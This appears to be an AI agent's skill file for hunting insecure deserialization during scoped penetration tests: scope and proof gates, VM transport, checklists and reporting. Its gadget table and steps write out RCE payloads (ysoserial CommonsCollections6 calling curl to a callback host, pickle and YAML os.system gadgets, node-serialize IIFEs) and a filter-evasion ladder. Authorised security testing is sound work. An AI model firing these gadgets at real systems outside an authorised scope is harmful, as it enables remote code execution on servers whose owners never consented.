Hunt: Insecure Deserialization (golden-image rework)
Turn a serialized-blob surface into evidence-carrying CANDIDATES for insecure deserialization across Java/.NET/PHP/Python/Ruby/Node: OOB sink proof, classpath-matched gadget chains, ViewState abuse. This skill produces candidates, never verdicts - findings leave ONLY through the G1 proof gate (triage).
Current emphasis (update on wiki harvest): OOB-first probes (URLDNS / JRMPClient) and runtime-matched gadget generators over blind payload firing - the newest harvested technique leads until superseded.
Assumes hunt-core for the scope gate, two-account rule,
confirmation gate, enumeration limits, stop conditions, wiki protocol,
FIND output, and Deadends. Do not re-derive any of that here.
Wiki
Hub: [[web-moc]] - Primary page: [[insecure-deserialization]] -
Payload arsenal: wiki/payloads/deserialization.md
Anchors: [[ml-model-deserialization]]
REFS: [[insecure-deserialization]], wiki/payloads/deserialization.md
mcp__wiki-search__query (lex) "insecure deserialization gadget chain Java .NET PHP Python Ruby Node ysoserial" via wiki-search MCP - ONLY on a concrete hint the map above does not cover; not a blanket first step.
Shared bypass arsenal: hunt-deserialization/references/bypass-arsenal.md
- magic-byte fingerprint table, per-language gadget batteries, the
2025-2026 sink migration (unserialize replaced -> live sinks are
ViewState+machineKey, cache stores poisoned via separate SSRF, document
pipelines, polymorphic JSON: fastjson
@type/ Jackson default-typing / .NET TypeNameHandling), blind-canary version-bisect, defense->bypass map.
Paths (binding - define once at the top of the run notes)
# seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/deser/<host>
# VM side (WHERE ysoserial/phpggc run, same tree through the share):
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/deser/<host>
Corpus and probes live in the VMshare tree; the VM runs tools against the /mnt/VMshare spelling as user tz; the seat reads the same bytes at the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/ is admin/ingest only - probe artifacts NEVER land there.
Transport
Every VM-native command block ships through ONE documented transport:
cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'
- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument; quotes ship as base64
(
echo <b64> | base64 -d | bashinside the vm-ssh argument). - Non-login shells do NOT source profile.d: target-facing fetches MUST use /opt/scope-shim/bin/{curl,httpx} by absolute path.
- Shim verdict semantics (verified live): out-of-scope dies rc 126 (never work around); in-scope passes; UNKNOWN gets an ADVISORY - not approval; verify against scope.md and self-deny.
- Gadget generation + blob delivery run on the VM; load-bearing blob POSTs replay through the Burp seat for operator visibility.
Entry gate
All four must pass; each is falsifiable:
Active engagement exists (repo tree targets//active.md) and is on targets//scope.md in-scope. Scope-guard is the deny. (targets/ is the repo admin tree; $ENG_DIR holds corpus and run artifacts only - see Paths.)
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md).
Producer verified - at least ONE of: (a) $ENG_DIR/state.md asset table has >= 1 serialized-blob endpoint row for (cookie/ViewState/type-hinted JSON/upload);
(b) a caido/burp baseline shows a blob matching the magic-byte table (rO0AB / AAEAAAD / O: / gAS / BAh / viewstate);
(c) kickoff seeded $RUN/raw/blob-map.md. None = dispatch the surface lane first.Toolchain preflight (fails LOUD; gadget tools probed with N/A echoes - absent tools constrain the runtime branches available):
# install-on-demand (operator rule): try interactsh before the fatal loop [ -x /home/tz/go/bin/interactsh-client ] || { \ command -v go >/dev/null \ && HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0 2>/dev/null; } for t in /usr/bin/jq /usr/bin/python3 \ /opt/scope-shim/bin/curl \ /home/tz/go/bin/interactsh-client; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done # install-on-demand (operator rule): install what the branch needs command -v java >/dev/null || { sudo apt-get install -y default-jre-headless 2>/dev/null || echo "N/A: java absent on VM (install failed - needs apt/sudo)"; } command -v phpggc >/dev/null || { git clone -q --depth 1 https://github.com/ambionics/phpggc.git /tmp/phpggc && ln -sf /tmp/phpggc/phpggc /home/tz/.local/bin/phpggc; } || echo "N/A: phpggc absent on VM (install failed)" [ -f "$ENG_DIR"/tools/ysoserial.jar ] \ || echo "N/A: ysoserial jar absent - build-the-gadget recipe"
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/deser/<host>/deser-checklist.md at run start.
Unchecked at stop = UNCHECKED lane, re-run from the first unchecked
step. The SKILL.md text and the checklist header agree byte-for-byte
on that copy target.
Nudge
Review-skill re-injection text (pinned; NOTE: completion-gate emits its own generic nudge - both mean: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
Confirmation gate
Blind deserialization RCE claims require an OOB HIT. No exceptions. The first payload is ALWAYS a benign OOB probe, never a command: Java URLDNS / JRMPClient force a DNS/TCP callback with zero code-exec risk, proving the sink deserializes attacker data before you fire a gadget.
NOT confirmation: a deserialization error, a type error, a stack trace, a 500, or the blob merely being accepted - the parser saw your bytes, not that you control execution.
IS confirmation: an OOB callback from the gadget to your unique Collaborator/interactsh subdomain, or a demonstrated effect - command execution, a file read, an SSRF fetch - reproduced in a clean session per hunt-core. A time-delay gadget that reliably toggles counts as the effect (with the A/B pair). Blind cases need the OOB HIT.
When you plant the OOB probe, append a row to targets//oob.md:
| <token> | <sink url+param> | deser | <date> | waiting | | (token
| sink | class | planted | status | source). The recon-capture hook
flips waiting -> HIT; a HIT row is the gate to scaffold the FIND. Do
NOT claim a blind deserialization finding without a HIT row.
Gadget quick reference (use this, don't hand-roll)
| Runtime | Operation | Command |
|---|---|---|
| Java | OOB probe FIRST (proves the sink deserializes, zero exec risk) | java -jar ysoserial.jar URLDNS "http://probe.<collab>" | base64 -w0 |
| Java | Gadget RCE, only after the sink is confirmed | java -jar ysoserial.jar CommonsCollections6 "curl http://<collab>/x" | base64 -w0 |
| .NET | BinaryFormatter gadget RCE | ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd" |
| .NET | ViewState RCE (known machineKey) | ysoserial.net -p ViewState --generator=... --validationkey=... |
| PHP | POP-chain gadget generator | phpggc Framework/RCE1 system id |
| Python | pickle.loads gadget | __reduce__ returning (os.system, ("cmd",)) |
| Python | unsafe yaml.load gadget | !!python/object/apply:os.system |
| Ruby | Marshal.load / YAML.load gadget | universal gadget chain, e.g. Gem::... |
| Node | node-serialize gadget | _$$ND_FUNC$$_ IIFE payload |
Methodology
Rank before firing a gadget. Not all sinks are equal: ASP.NET __VIEWSTATE (MAC off or machineKey leaked -> straight to RCE; check first); session/auth cookies carrying a serialized blob (attacker-controlled every request, no prior access); .ser/.pickle uploads and phar:// sinks (parser runs on your bytes by design); API JSON with type hints ($type, _class, polymorphic deserializers - Jackson/fastjson default-typing, .NET TypeNameHandling); message-queue/cache payloads (internal, often unauthenticated, rarely look-ahead filtered).
Fingerprint blobs by magic bytes:
rO0AB... Java (base64, 0xAC 0xED 0x00 0x05)
AAEAAAD///// .NET BinaryFormatter (base64)
a:2:{... / O:8:"stdClass": PHP serialize()
gASV / \x80\x04 / \x80\x05 Python pickle (base64 gAS...)
BAh... / --- !ruby/object Ruby Marshal / YAML
Step 1 - Blob map
Locate serialized data (decode base64, match magic bytes); row schema
location | blob shape | runtime guess | sink rank @
$RUN/raw/blob-map.md.
Step 2 - OOB probe FIRST
java -jar "$ENG_DIR"/tools/ysoserial.jar URLDNS \
"http://probe.<collab>" | base64 -w0
Plant the oob.md row with the probe. Zero exec risk; proves the sink. @ $RUN/probes/oob-probe.jsonl.
No ysoserial jar on the box? (the tooling VM often lacks it; the jitpack build download returns an empty/9-byte stub.) BUILD the gadget yourself against the target's gadget lib from Maven Central, then compile with --release and run with the right --add-opens. Full recipe + modern-JDK (17/21) gotchas (class-version mismatch, InaccessibleObjectException, CC5's String-typed BadAttributeValueExpException.val on JDK 21 -> use CC6) in [[deserialization]] "Build the gadget yourself".
Step 3 - Runtime-matched gadget battery
Only after the sink is confirmed (HIT or in-band effect). Per runtime, from the quick reference: Java CC6 (JDK21-safe); .NET TypeConfuseDelegate/ViewState; PHP phpggc POP chains crafted from the app's own __wakeup/__destruct/__toString; Python reduce / !!python/object/apply; Ruby Gem:: chains; Node $$ND_FUNC$$ IIFE. @ $RUN/probes/gadgets.jsonl (one row per gadget with outcome).
Step 4 - Evasion ladder (confirmed sink, rejected gadgets)
Look-ahead filters (ValidatingObjectInputStream, ObjectInputFilter, Jackson allowlists) reject gadget classes by name. Switch to a gadget library actually on the classpath (Spring, Hibernate5, C3P0, ROME, MozillaRhino); try a different serialization format the same endpoint accepts (XML/JSON/YAML vs binary); nest the payload (SignedObject wrapping); .NET - swap the formatter (LosFormatter, SoapFormatter, Json.NET TypeNameHandling). Fingerprint the exact library version before sweeping blind. @ $RUN/probes/evasion.md.
Step 5 - Exit artifact (candidates)
candidates.md every class section present; pointer $ENG_DIR/hunt-deser-.md:
DESER-HUNT-DONE sinks=<n> oob-confirmed=<n> gadgets=<n> executed=<n>
Plus _requests.md rows (lane = hunt-deser), state.md asset rows, Deadends rows with the WHY (gadget libraries + formats tried). Every probe JSONL row: {class, host, endpoint, method, evidence, observed, confidence}; pairs under probes/raw/ (sha256 filenames).
Chaining
A deserialization sink is usually the RCE itself: a working gadget executes your command in-process. When the classpath yields only a partial primitive - URLDNS/JRMPClient SSRF, a file-read gadget, a JNDI lookup - drive the follow-on through hunt-rce (JNDI/LDAP to code exec, log4shell-style) rather than forcing a command gadget the look-ahead filter blocks.
Validation
- Proof = OOB DNS/HTTP callback carrying a unique gadget-chained marker, or command output in-band. Sleep-based proof REQUIRES the A/B pair: two identical requests, only the payload one delayed; single-request latency proves nothing (clock skew).
False Positives
- A base64 blob misread as serialized Java/php (check magic bytes first).
- Padding-oracle tooling noise on non-encrypted padding.
- ysoserial payload rejected: wrong gadget LIB VERSION, not a dead sink; enumerate the classpath before deadending.
- ViewState with MAC/enabled validation: signed, not deserializable.
- YAML/JSON "deser" that never constructs an object (safe loader paths).
Cross-routing
- hunt-rce once code exec lands (this skill ends at the sink firing).
- hunt-ssrf for OOB proof mechanics and channel setup.
- hunt-upload when the serialized blob ships as a file.
- Not this skill: plain XXE (hunt-injection); a parser issue, not an object graph.
Severity
- CRITICAL - command execution or an OOB code callback from the gadget.
- HIGH - file-read or SSRF-only gadget (no command exec).
- MEDIUM - DoS-only gadget.
Rated on demonstrated impact per hunt-core.
Deadends
Stop after the bounded OOB gadget sweep (per hunt-core / AGENTS.md: ~30-40 payloads, zero callbacks) or when the sink deserializes but no gadget on the classpath executes:
Append: - [ ] deser on <host> <param> -- Java sink confirmed
(URLDNS hit) but CC1-7/Spring/Hibernate no exec (hardened
classpath / look-ahead filter)
Record which gadget libraries and formats you tried.
N/A escapes
- "N/A: java absent on VM (install failed - needs apt/sudo)" (Java branch constrained)
- "N/A: phpggc absent on VM (install failed)" (PHP POP chains hand-crafted)
- "N/A: ysoserial jar absent - build-the-gadget recipe"
- "N/A: no serialized-blob surface" An N/A tick is a claim with a reason, never a silent pass. Identical strings in SKILL.md and checklist.md.
Bitter-pill variant
Freehand run: skip checklist + numbered steps, one freehand pass over the blob map, output ONLY $RUN/analysis/bitter-pill.md (tried/found/ dismissed, every claim carries evidence). The OOB-HIT gate survives freehand. Declare with a _requests.md row (lane = hunt-deser-bitterpill).
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
ONE exit artifact set: $RUN/candidates.jsonl + candidates.md +
$ENG_DIR/hunt-deser-.md (pointer with DESER-HUNT-DONE + counts).
Consumer (triage) finds at $RUN: raw/blob-map.md, probes/*.jsonl,
probes/raw/, candidates.{jsonl,md}. Findings leave ONLY through G1.
Distill: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/insecure-deserialization.md.
Stop conditions
Terminal states complete; nothing written into skill dirs; no unchecked boxes above REVIEW; hunt-core stop conditions fire unchanged (bounded gadget sweep ~30-40 payloads zero callbacks = deadend).
Attack surface
APPROACH: Fingerprint serialized blobs by magic bytes (rO0AB/AAEAAAD/O:/gAS), rank the sink (ViewState, session/auth cookie, .ser/pickle upload, type-hinted JSON), fire a benign OOB probe (URLDNS/JRMPClient) FIRST, then a classpath-matched gadget only once the sink is confirmed.
AVOID: A deserialization/type error, a stack trace, a 500, or the blob merely accepted is NOT confirmation - blind deser RCE needs an OOB HIT row or a demonstrated effect (exec/file-read/SSRF).